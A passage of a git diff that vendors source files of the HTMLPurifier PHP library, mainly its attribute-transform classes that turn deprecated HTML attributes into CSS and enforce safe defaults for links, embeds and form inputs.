+ array_splice($first, 8 - count($second), 8, $second);
+ $aIP = $first;
+ unset($first, $second);
+ } else {
+ $aIP = explode(':', $aIP[0]);
+ }
+ $c = count($aIP);
+
+ if ($c != 8) {
+ return false;
+ }
+
+ // All the pieces should be 16-bit hex strings. Are they?
+ foreach ($aIP as $piece) {
+ if (!preg_match('#^[0-9a-fA-F]{4}$#s', sprintf('%04s', $piece))) {
+ return false;
+ }
+ }
+ return $original;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform.php
new file mode 100644
index 000000000..b428331f1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform.php
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Processes an entire attribute array for corrections needing multiple values.
+ *
+ * Occasionally, a certain attribute will need to be removed and popped onto
+ * another value. Instead of creating a complex return syntax for
+ * HTMLPurifier_AttrDef, we just pass the whole attribute array to a
+ * specialized object and have that do the special work. That is the
+ * family of HTMLPurifier_AttrTransform.
+ *
+ * An attribute transformation can be assigned to run before or after
+ * HTMLPurifier_AttrDef validation. See HTMLPurifier_HTMLDefinition for
+ * more details.
+ */
+
+abstract class HTMLPurifier_AttrTransform
+{
+
+ /**
+ * Abstract: makes changes to the attributes dependent on multiple values.
+ *
+ * @param array $attr Assoc array of attributes, usually from
+ * HTMLPurifier_Token_Tag::$attr
+ * @param HTMLPurifier_Config $config Mandatory HTMLPurifier_Config object.
+ * @param HTMLPurifier_Context $context Mandatory HTMLPurifier_Context object
+ * @return array Processed attribute array.
+ */
+ abstract public function transform($attr, $config, $context);
+
+ /**
+ * Prepends CSS properties to the style attribute, creating the
+ * attribute if it doesn't exist.
+ * @param array &$attr Attribute array to process (passed by reference)
+ * @param string $css CSS to prepend
+ */
+ public function prependCSS(&$attr, $css)
+ {
+ $attr['style'] = isset($attr['style']) ? $attr['style'] : '';
+ $attr['style'] = $css . $attr['style'];
+ }
+
+ /**
+ * Retrieves and removes an attribute
+ * @param array &$attr Attribute array to process (passed by reference)
+ * @param mixed $key Key of attribute to confiscate
+ * @return mixed
+ */
+ public function confiscateAttr(&$attr, $key)
+ {
+ if (!isset($attr[$key])) {
+ return null;
+ }
+ $value = $attr[$key];
+ unset($attr[$key]);
+ return $value;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Background.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Background.php
new file mode 100644
index 000000000..2f72869a5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Background.php
@@ -0,0 +1,28 @@
+<?php
+
+/**
+ * Pre-transform that changes proprietary background attribute to CSS.
+ */
+class HTMLPurifier_AttrTransform_Background extends HTMLPurifier_AttrTransform
+{
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr['background'])) {
+ return $attr;
+ }
+
+ $background = $this->confiscateAttr($attr, 'background');
+ // some validation should happen here
+
+ $this->prependCSS($attr, "background-image:url($background);");
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.php
new file mode 100644
index 000000000..d66c04a5b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.php
@@ -0,0 +1,27 @@
+<?php
+
+// this MUST be placed in post, as it assumes that any value in dir is valid
+
+/**
+ * Post-trasnform that ensures that bdo tags have the dir attribute set.
+ */
+class HTMLPurifier_AttrTransform_BdoDir extends HTMLPurifier_AttrTransform
+{
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (isset($attr['dir'])) {
+ return $attr;
+ }
+ $attr['dir'] = $config->get('Attr.DefaultTextDir');
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.php
new file mode 100644
index 000000000..0f51fd2ce
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.php
@@ -0,0 +1,28 @@
+<?php
+
+/**
+ * Pre-transform that changes deprecated bgcolor attribute to CSS.
+ */
+class HTMLPurifier_AttrTransform_BgColor extends HTMLPurifier_AttrTransform
+{
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr['bgcolor'])) {
+ return $attr;
+ }
+
+ $bgcolor = $this->confiscateAttr($attr, 'bgcolor');
+ // some validation should happen here
+
+ $this->prependCSS($attr, "background-color:$bgcolor;");
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.php
new file mode 100644
index 000000000..f25cd0195
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.php
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * Pre-transform that changes converts a boolean attribute to fixed CSS
+ */
+class HTMLPurifier_AttrTransform_BoolToCSS extends HTMLPurifier_AttrTransform
+{
+ /**
+ * Name of boolean attribute that is trigger.
+ * @type string
+ */
+ protected $attr;
+
+ /**
+ * CSS declarations to add to style, needs trailing semicolon.
+ * @type string
+ */
+ protected $css;
+
+ /**
+ * @param string $attr attribute name to convert from
+ * @param string $css CSS declarations to add to style (needs semicolon)
+ */
+ public function __construct($attr, $css)
+ {
+ $this->attr = $attr;
+ $this->css = $css;
+ }
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr[$this->attr])) {
+ return $attr;
+ }
+ unset($attr[$this->attr]);
+ $this->prependCSS($attr, $this->css);
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Border.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Border.php
new file mode 100644
index 000000000..057dc017f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Border.php
@@ -0,0 +1,26 @@
+<?php
+
+/**
+ * Pre-transform that changes deprecated border attribute to CSS.
+ */
+class HTMLPurifier_AttrTransform_Border extends HTMLPurifier_AttrTransform
+{
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr['border'])) {
+ return $attr;
+ }
+ $border_width = $this->confiscateAttr($attr, 'border');
+ // some validation should happen here
+ $this->prependCSS($attr, "border:{$border_width}px solid;");
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.php
new file mode 100644
index 000000000..7ccd0e3fb
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.php
@@ -0,0 +1,68 @@
+<?php
+
+/**
+ * Generic pre-transform that converts an attribute with a fixed number of
+ * values (enumerated) to CSS.
+ */
+class HTMLPurifier_AttrTransform_EnumToCSS extends HTMLPurifier_AttrTransform
+{
+ /**
+ * Name of attribute to transform from.
+ * @type string
+ */
+ protected $attr;
+
+ /**
+ * Lookup array of attribute values to CSS.
+ * @type array
+ */
+ protected $enumToCSS = array();
+
+ /**
+ * Case sensitivity of the matching.
+ * @type bool
+ * @warning Currently can only be guaranteed to work with ASCII
+ * values.
+ */
+ protected $caseSensitive = false;
+
+ /**
+ * @param string $attr Attribute name to transform from
+ * @param array $enum_to_css Lookup array of attribute values to CSS
+ * @param bool $case_sensitive Case sensitivity indicator, default false
+ */
+ public function __construct($attr, $enum_to_css, $case_sensitive = false)
+ {
+ $this->attr = $attr;
+ $this->enumToCSS = $enum_to_css;
+ $this->caseSensitive = (bool)$case_sensitive;
+ }
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr[$this->attr])) {
+ return $attr;
+ }
+
+ $value = trim($attr[$this->attr]);
+ unset($attr[$this->attr]);
+
+ if (!$this->caseSensitive) {
+ $value = strtolower($value);
+ }
+
+ if (!isset($this->enumToCSS[$value])) {
+ return $attr;
+ }
+ $this->prependCSS($attr, $this->enumToCSS[$value]);
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgRequired.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgRequired.php
new file mode 100644
index 000000000..7df6cb3e1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgRequired.php
@@ -0,0 +1,48 @@
+<?php
+
+// must be called POST validation
+
+/**
+ * Transform that supplies default values for the src and alt attributes
+ * in img tags, as well as prevents the img tag from being removed
+ * because of a missing alt tag. This needs to be registered as both
+ * a pre and post attribute transform.
+ */
+class HTMLPurifier_AttrTransform_ImgRequired extends HTMLPurifier_AttrTransform
+{
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ $src = true;
+ if (!isset($attr['src'])) {
+ if ($config->get('Core.RemoveInvalidImg')) {
+ return $attr;
+ }
+ $attr['src'] = $config->get('Attr.DefaultInvalidImage');
+ $src = false;
+ }
+
+ if (!isset($attr['alt'])) {
+ if ($src) {
+ $alt = $config->get('Attr.DefaultImageAlt');
+ if ($alt === null) {
+ // truncate if the alt is too long
+ $attr['alt'] = substr(basename($attr['src']), 0, 40);
+ } else {
+ $attr['alt'] = $alt;
+ }
+ } else {
+ $attr['alt'] = $config->get('Attr.DefaultInvalidImageAlt');
+ }
+ }
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgSpace.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgSpace.php
new file mode 100644
index 000000000..350b3358f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgSpace.php
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Pre-transform that changes deprecated hspace and vspace attributes to CSS
+ */
+class HTMLPurifier_AttrTransform_ImgSpace extends HTMLPurifier_AttrTransform
+{
+ /**
+ * @type string
+ */
+ protected $attr;
+
+ /**
+ * @type array
+ */
+ protected $css = array(
+ 'hspace' => array('left', 'right'),
+ 'vspace' => array('top', 'bottom')
+ );
+
+ /**
+ * @param string $attr
+ */
+ public function __construct($attr)
+ {
+ $this->attr = $attr;
+ if (!isset($this->css[$attr])) {
+ trigger_error(htmlspecialchars($attr) . ' is not valid space attribute');
+ }
+ }
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr[$this->attr])) {
+ return $attr;
+ }
+
+ $width = $this->confiscateAttr($attr, $this->attr);
+ // some validation could happen here
+
+ if (!isset($this->css[$this->attr])) {
+ return $attr;
+ }
+
+ $style = '';
+ foreach ($this->css[$this->attr] as $suffix) {
+ $property = "margin-$suffix";
+ $style .= "$property:{$width}px;";
+ }
+ $this->prependCSS($attr, $style);
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Input.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Input.php
new file mode 100644
index 000000000..3ab47ed8c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Input.php
@@ -0,0 +1,56 @@
+<?php
+
+/**
+ * Performs miscellaneous cross attribute validation and filtering for
+ * input elements. This is meant to be a post-transform.
+ */
+class HTMLPurifier_AttrTransform_Input extends HTMLPurifier_AttrTransform
+{
+ /**
+ * @type HTMLPurifier_AttrDef_HTML_Pixels
+ */
+ protected $pixels;
+
+ public function __construct()
+ {
+ $this->pixels = new HTMLPurifier_AttrDef_HTML_Pixels();
+ }
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr['type'])) {
+ $t = 'text';
+ } else {
+ $t = strtolower($attr['type']);
+ }
+ if (isset($attr['checked']) && $t !== 'radio' && $t !== 'checkbox') {
+ unset($attr['checked']);
+ }
+ if (isset($attr['maxlength']) && $t !== 'text' && $t !== 'password') {
+ unset($attr['maxlength']);
+ }
+ if (isset($attr['size']) && $t !== 'text' && $t !== 'password') {
+ $result = $this->pixels->validate($attr['size'], $config, $context);
+ if ($result === false) {
+ unset($attr['size']);
+ } else {
+ $attr['size'] = $result;
+ }
+ }
+ if (isset($attr['src']) && $t !== 'image') {
+ unset($attr['src']);
+ }
+ if (!isset($attr['value']) && ($t === 'radio' || $t === 'checkbox')) {
+ $attr['value'] = '';
+ }
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Lang.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Lang.php
new file mode 100644
index 000000000..5b0aff0e4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Lang.php
@@ -0,0 +1,31 @@
+<?php
+
+/**
+ * Post-transform that copies lang's value to xml:lang (and vice-versa)
+ * @note Theoretically speaking, this could be a pre-transform, but putting
+ * post is more efficient.
+ */
+class HTMLPurifier_AttrTransform_Lang extends HTMLPurifier_AttrTransform
+{
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ $lang = isset($attr['lang']) ? $attr['lang'] : false;
+ $xml_lang = isset($attr['xml:lang']) ? $attr['xml:lang'] : false;
+
+ if ($lang !== false && $xml_lang === false) {
+ $attr['xml:lang'] = $lang;
+ } elseif ($xml_lang !== false) {
+ $attr['lang'] = $xml_lang;
+ }
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Length.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Length.php
new file mode 100644
index 000000000..853f33549
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Length.php
@@ -0,0 +1,45 @@
+<?php
+
+/**
+ * Class for handling width/height length attribute transformations to CSS
+ */
+class HTMLPurifier_AttrTransform_Length extends HTMLPurifier_AttrTransform
+{
+
+ /**
+ * @type string
+ */
+ protected $name;
+
+ /**
+ * @type string
+ */
+ protected $cssName;
+
+ public function __construct($name, $css_name = null)
+ {
+ $this->name = $name;
+ $this->cssName = $css_name ? $css_name : $name;
+ }
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr[$this->name])) {
+ return $attr;
+ }
+ $length = $this->confiscateAttr($attr, $this->name);
+ if (ctype_digit($length)) {
+ $length .= 'px';
+ }
+ $this->prependCSS($attr, $this->cssName . ":$length;");
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Name.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Name.php
new file mode 100644
index 000000000..63cce6837
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Name.php
@@ -0,0 +1,33 @@
+<?php
+
+/**
+ * Pre-transform that changes deprecated name attribute to ID if necessary
+ */
+class HTMLPurifier_AttrTransform_Name extends HTMLPurifier_AttrTransform
+{
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ // Abort early if we're using relaxed definition of name
+ if ($config->get('HTML.Attr.Name.UseCDATA')) {
+ return $attr;
+ }
+ if (!isset($attr['name'])) {
+ return $attr;
+ }
+ $id = $this->confiscateAttr($attr, 'name');
+ if (isset($attr['id'])) {
+ return $attr;
+ }
+ $attr['id'] = $id;
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.php
new file mode 100644
index 000000000..36079b786
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.php
@@ -0,0 +1,41 @@
+<?php
+
+/**
+ * Post-transform that performs validation to the name attribute; if
+ * it is present with an equivalent id attribute, it is passed through;
+ * otherwise validation is performed.
+ */
+class HTMLPurifier_AttrTransform_NameSync extends HTMLPurifier_AttrTransform
+{
+
+ public function __construct()
+ {
+ $this->idDef = new HTMLPurifier_AttrDef_HTML_ID();
+ }
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr['name'])) {
+ return $attr;
+ }
+ $name = $attr['name'];
+ if (isset($attr['id']) && $attr['id'] === $name) {
+ return $attr;
+ }
+ $result = $this->idDef->validate($name, $config, $context);
+ if ($result === false) {
+ unset($attr['name']);
+ } else {
+ $attr['name'] = $result;
+ }
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.php
new file mode 100644
index 000000000..1057ebee1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.php
@@ -0,0 +1,52 @@
+<?php
+
+// must be called POST validation
+
+/**
+ * Adds rel="nofollow" to all outbound links. This transform is
+ * only attached if Attr.Nofollow is TRUE.
+ */
+class HTMLPurifier_AttrTransform_Nofollow extends HTMLPurifier_AttrTransform
+{
+ /**
+ * @type HTMLPurifier_URIParser
+ */
+ private $parser;
+
+ public function __construct()
+ {
+ $this->parser = new HTMLPurifier_URIParser();
+ }
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr['href'])) {
+ return $attr;
+ }
+
+ // XXX Kind of inefficient
+ $url = $this->parser->parse($attr['href']);
+ $scheme = $url->getSchemeObj($config, $context);
+
+ if ($scheme->browsable && !$url->isLocal($config, $context)) {
+ if (isset($attr['rel'])) {
+ $rels = explode(' ', $attr['rel']);
+ if (!in_array('nofollow', $rels)) {
+ $rels[] = 'nofollow';
+ }
+ $attr['rel'] = implode(' ', $rels);
+ } else {
+ $attr['rel'] = 'nofollow';
+ }
+ }
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.php
new file mode 100644
index 000000000..231c81a3f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.php
@@ -0,0 +1,25 @@
+<?php
+
+class HTMLPurifier_AttrTransform_SafeEmbed extends HTMLPurifier_AttrTransform
+{
+ /**
+ * @type string
+ */
+ public $name = "SafeEmbed";
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ $attr['allowscriptaccess'] = 'never';
+ $attr['allownetworking'] = 'internal';
+ $attr['type'] = 'application/x-shockwave-flash';
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeObject.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeObject.php
new file mode 100644
index 000000000..d1f3a4d2e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeObject.php
@@ -0,0 +1,28 @@
+<?php
+
+/**
+ * Writes default type for all objects. Currently only supports flash.
+ */
+class HTMLPurifier_AttrTransform_SafeObject extends HTMLPurifier_AttrTransform
+{
+ /**
+ * @type string
+ */
+ public $name = "SafeObject";
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr['type'])) {
+ $attr['type'] = 'application/x-shockwave-flash';
+ }
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeParam.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeParam.php
new file mode 100644
index 000000000..1143b4b49
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeParam.php
@@ -0,0 +1,79 @@
+<?php
+
+/**
+ * Validates name/value pairs in param tags to be used in safe objects. This
+ * will only allow name values it recognizes, and pre-fill certain attributes
+ * with required values.
+ *
+ * @note
+ * This class only supports Flash. In the future, Quicktime support
+ * may be added.
+ *
+ * @warning
+ * This class expects an injector to add the necessary parameters tags.
+ */
+class HTMLPurifier_AttrTransform_SafeParam extends HTMLPurifier_AttrTransform
+{
+ /**
+ * @type string
+ */
+ public $name = "SafeParam";
+
+ /**
+ * @type HTMLPurifier_AttrDef_URI
+ */
+ private $uri;
+
+ public function __construct()
+ {
+ $this->uri = new HTMLPurifier_AttrDef_URI(true); // embedded
+ $this->wmode = new HTMLPurifier_AttrDef_Enum(array('window', 'opaque', 'transparent'));
+ }
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ // If we add support for other objects, we'll need to alter the
+ // transforms.
+ switch ($attr['name']) {
+ // application/x-shockwave-flash
+ // Keep this synchronized with Injector/SafeObject.php
+ case 'allowScriptAccess':
+ $attr['value'] = 'never';
+ break;
+ case 'allowNetworking':
+ $attr['value'] = 'internal';
+ break;
+ case 'allowFullScreen':
+ if ($config->get('HTML.FlashAllowFullScreen')) {
+ $attr['value'] = ($attr['value'] == 'true') ? 'true' : 'false';
+ } else {
+ $attr['value'] = 'false';
+ }
+ break;
+ case 'wmode':
+ $attr['value'] = $this->wmode->validate($attr['value'], $config, $context);
+ break;
+ case 'movie':
+ case 'src':
+ $attr['name'] = "movie";
+ $attr['value'] = $this->uri->validate($attr['value'], $config, $context);
+ break;
+ case 'flashvars':
+ // we're going to allow arbitrary inputs to the SWF, on
+ // the reasoning that it could only hack the SWF, not us.
+ break;
+ // add other cases to support other param name/value pairs
+ default:
+ $attr['name'] = $attr['value'] = null;
+ }
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.php
new file mode 100644
index 000000000..b7057bbf8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.php
@@ -0,0 +1,23 @@
+<?php
+
+/**
+ * Implements required attribute stipulation for <script>
+ */
+class HTMLPurifier_AttrTransform_ScriptRequired extends HTMLPurifier_AttrTransform
+{
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr['type'])) {
+ $attr['type'] = 'text/javascript';
+ }
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.php
new file mode 100644
index 000000000..dd63ea89c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.php
@@ -0,0 +1,45 @@
+<?php
+
+// must be called POST validation
+
+/**
+ * Adds target="blank" to all outbound links. This transform is
+ * only attached if Attr.TargetBlank is TRUE. This works regardless
+ * of whether or not Attr.AllowedFrameTargets
+ */
+class HTMLPurifier_AttrTransform_TargetBlank extends HTMLPurifier_AttrTransform
+{
+ /**
+ * @type HTMLPurifier_URIParser
+ */
+ private $parser;
+
+ public function __construct()
+ {
+ $this->parser = new HTMLPurifier_URIParser();
+ }
+
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ if (!isset($attr['href'])) {
+ return $attr;
+ }
+
+ // XXX Kind of inefficient
+ $url = $this->parser->parse($attr['href']);
+ $scheme = $url->getSchemeObj($config, $context);
+
+ if ($scheme->browsable && !$url->isBenign($config, $context)) {
+ $attr['target'] = '_blank';
+ }
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Textarea.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Textarea.php
new file mode 100644
index 000000000..6a9f33a0c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Textarea.php
@@ -0,0 +1,27 @@
+<?php
+
+/**
+ * Sets height/width defaults for <textarea>
+ */
+class HTMLPurifier_AttrTransform_Textarea extends HTMLPurifier_AttrTransform
+{
+ /**
+ * @param array $attr
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ public function transform($attr, $config, $context)
+ {
+ // Calculated from Firefox
+ if (!isset($attr['cols'])) {
+ $attr['cols'] = '22';
+ }
+ if (!isset($attr['rows'])) {
+ $attr['rows'] = '3';
+ }
+ return $attr;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTypes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTypes.php
new file mode 100644
index 000000000..3b70520b6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTypes.php
@@ -0,0 +1,96 @@
+<?php
+
+/**
+ * Provides lookup array of attribute types to HTMLPurifier_AttrDef objects
+ */
+class HTMLPurifier_AttrTypes
+{
+ /**
+ * Lookup array of attribute string identifiers to concrete implementations.
+ * @type HTMLPurifier_AttrDef[]
+ */
+ protected $info = array();
+
+ /**
+ * Constructs the info array, supplying default implementations for attribute
+ * types.
+ */
+ public function __construct()
+ {
+ // XXX This is kind of poor, since we don't actually /clone/
+ // instances; instead, we use the supplied make() attribute. So,
+ // the underlying class must know how to deal with arguments.
+ // With the old implementation of Enum, that ignored its
+ // arguments when handling a make dispatch, the IAlign
+ // definition wouldn't work.
+
+ // pseudo-types, must be instantiated via shorthand
+ $this->info['Enum'] = new HTMLPurifier_AttrDef_Enum();
+ $this->info['Bool'] = new HTMLPurifier_AttrDef_HTML_Bool();
+
+ $this->info['CDATA'] = new HTMLPurifier_AttrDef_Text();
+ $this->info['ID'] = new HTMLPurifier_AttrDef_HTML_ID();
+ $this->info['Length'] = new HTMLPurifier_AttrDef_HTML_Length();
+ $this->info['MultiLength'] = new HTMLPurifier_AttrDef_HTML_MultiLength();
+ $this->info['NMTOKENS'] = new HTMLPurifier_AttrDef_HTML_Nmtokens();
+ $this->info['Pixels'] = new HTMLPurifier_AttrDef_HTML_Pixels();
+ $this->info['Text'] = new HTMLPurifier_AttrDef_Text();
+ $this->info['URI'] = new HTMLPurifier_AttrDef_URI();
+ $this->info['LanguageCode'] = new HTMLPurifier_AttrDef_Lang();
+ $this->info['Color'] = new HTMLPurifier_AttrDef_HTML_Color();
+ $this->info['IAlign'] = self::makeEnum('top,middle,bottom,left,right');
